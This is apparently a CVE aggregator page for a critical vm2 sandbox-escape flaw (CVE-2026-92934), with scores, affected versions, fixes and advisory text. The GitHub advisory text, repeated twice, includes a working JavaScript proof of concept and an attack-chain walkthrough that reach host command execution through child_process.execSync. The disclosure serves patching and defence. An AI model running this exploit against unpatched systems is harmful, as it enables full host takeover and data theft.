CVE-2026-92934
vm2 before 3.11.8 Sandbox Escape RCE via AggregateError
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.5
vm2 before 3.11.8 Sandbox Escape RCE via AggregateError
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
- Record
CVE-2026-92934- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
EUVDEUVD-2026-81584
9.5
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
- Record
EUVD-2026-81584- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4xmw-hh9q-4q7c
9.5
Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-x965-fc75-jpqh. This link is maintained to preserve external references.
Original Description
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
- Record
GHSA-4xmw-hh9q-4q7c- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-x965-fc75-jpqh
9.5
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
Summary
vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause
handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact
Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCE
Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain
- Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped
AggregateErrorcarrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn,docs/ATTACKS.mdCategory 38), accepted in scope. - Caught-exception sanitizer — sandbox
try{hostThrow()}catch(e){…}; transformer routesethroughhandleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof:handleException(agg)marksaggvisited (1820); proto-walk routes tosanitizeAggregateError(1865); host-wrapped branch readsagg.errorsand callshandleException(agg, visited)on element 0 (1965); that inner call hitsvisited.get(agg)===true→return e(1819) → rawaggproxy pushed intosanitizedArr→ becomesnewAgg.errors[0]. The rebuild does NOT sealaggin place, so the returned proxy is fully live. - Sink —
e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridgegetwraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace showse.errors[0].isProxy===trueyet the chain executes and returns realuid=1000(ubuntu).... - Impact — host RCE with host privileges; also
process.env/.piddisclosure.
Bypass Evidence
Executed on node v22.23, vm2 3.11.6:
- Baseline vector
throw new Error('x',{cause:process})(plain…
- Record
GHSA-x965-fc75-jpqh- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
NVD
9.5
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
- Record
CVE-2026-92934- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
OSV
9.5
vm2 before 3.11.8 Sandbox Escape RCE via AggregateError
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
- Record
CVE-2026-92934- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-693
- Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-4xmw-hh9q-4q7c
9.5
Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-x965-fc75-jpqh. This link is maintained to preserve external references.
Original Description
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
- Record
GHSA-4xmw-hh9q-4q7c- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
OSVGHSA-x965-fc75-jpqh
9.5
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
Summary
vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause
handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact
Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCE
Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain
- Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped
AggregateErrorcarrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn,docs/ATTACKS.mdCategory 38), accepted in scope. - Caught-exception sanitizer — sandbox
try{hostThrow()}catch(e){…}; transformer routesethroughhandleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof:handleException(agg)marksaggvisited (1820); proto-walk routes tosanitizeAggregateError(1865); host-wrapped branch readsagg.errorsand callshandleException(agg, visited)on element 0 (1965); that inner call hitsvisited.get(agg)===true→return e(1819) → rawaggproxy pushed intosanitizedArr→ becomesnewAgg.errors[0]. The rebuild does NOT sealaggin place, so the returned proxy is fully live. - Sink —
e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridgegetwraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace showse.errors[0].isProxy===trueyet the chain executes and returns realuid=1000(ubuntu).... - Impact — host RCE with host privileges; also
process.env/.piddisclosure.
Bypass Evidence
Executed on node v22.23, vm2 3.11.6:
- Baseline vector
throw new Error('x',{cause:process})(plain…
- Record
GHSA-x965-fc75-jpqh- CVSS 4.0
- 9.5 Critical
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
OSVCLSA-2026-1791279062 No score
TuxCare security update for vm2 (8 CVEs)
TuxCare rebuilt vm2 to address 8 CVEs. Fixed in 3.11.7-tuxcare.1.
- Record
CLSA-2026-1791279062- Updated
- 2026-11-02
OSVCLSA-2026-1791387024 No score
TuxCare security update for vm2 (4 CVEs)
TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.11.5-tuxcare.6.
- Record
CLSA-2026-1791387024- Updated
- 2026-11-02
OSVCLSA-2026-1791453761 No score
TuxCare security update for vm2 (4 CVEs)
TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.10.0-tuxcare.5.
- Record
CLSA-2026-1791453761- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-92934 No score
CVE-2026-92934 in vm2 - Patched by Root
Root has patched CVE-2026-92934 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-92934- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.11.7 | 3.11.8 |
vm2TuxCare:npm From an advisory covering 8 CVEs |
3.11.7-tuxcare.0 up to 3.11.7-tuxcare.1, plus listed versions 3.11.7 |
3.11.7-tuxcare.1 |
vm2TuxCare:npm From an advisory covering 4 CVEs |
3.11.5-tuxcare.0 up to 3.11.5-tuxcare.6, plus listed versions 3.11.53.11.5-tuxcare.13.11.5-tuxcare.23.11.5-tuxcare.33.11.5-tuxcare.43.11.5-tuxcare.5 |
3.11.5-tuxcare.6 |
vm2TuxCare:npm From an advisory covering 3 CVEs |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.5, plus listed versions 3.10.03.10.0-tuxcare.13.10.0-tuxcare.23.10.0-tuxcare.33.10.0-tuxcare.4 |
3.10.0-tuxcare.5 |
vm2npm |
before 3.11.8 | 3.11.8 |
vm2Root:npm |
before 3.11.6-aikido.1 | 3.11.6-aikido.1 |
@rootio/vm2Root:npm |
before 3.11.6-root.io.1 | 3.11.6-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-92934 is a critical vulnerability (CVSS 9.5) in Patriksimek Vm2, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.76%, the 55th percentile. Fixed in vm2 3.11.8.
References
github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh
vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror
nvd.nist.gov/vuln/detail/CVE-2026-92934
github.com/advisories/GHSA-4xmw-hh9q-4q7c
github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460
github.com/patriksimek/vm2/releases/tag/v3.11.8
github.com/advisories/GHSA-x965-fc75-jpqh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92934.json
github.com/patriksimek/vm2
Left out here: the rest of 2 source descriptions. The JSON record has them.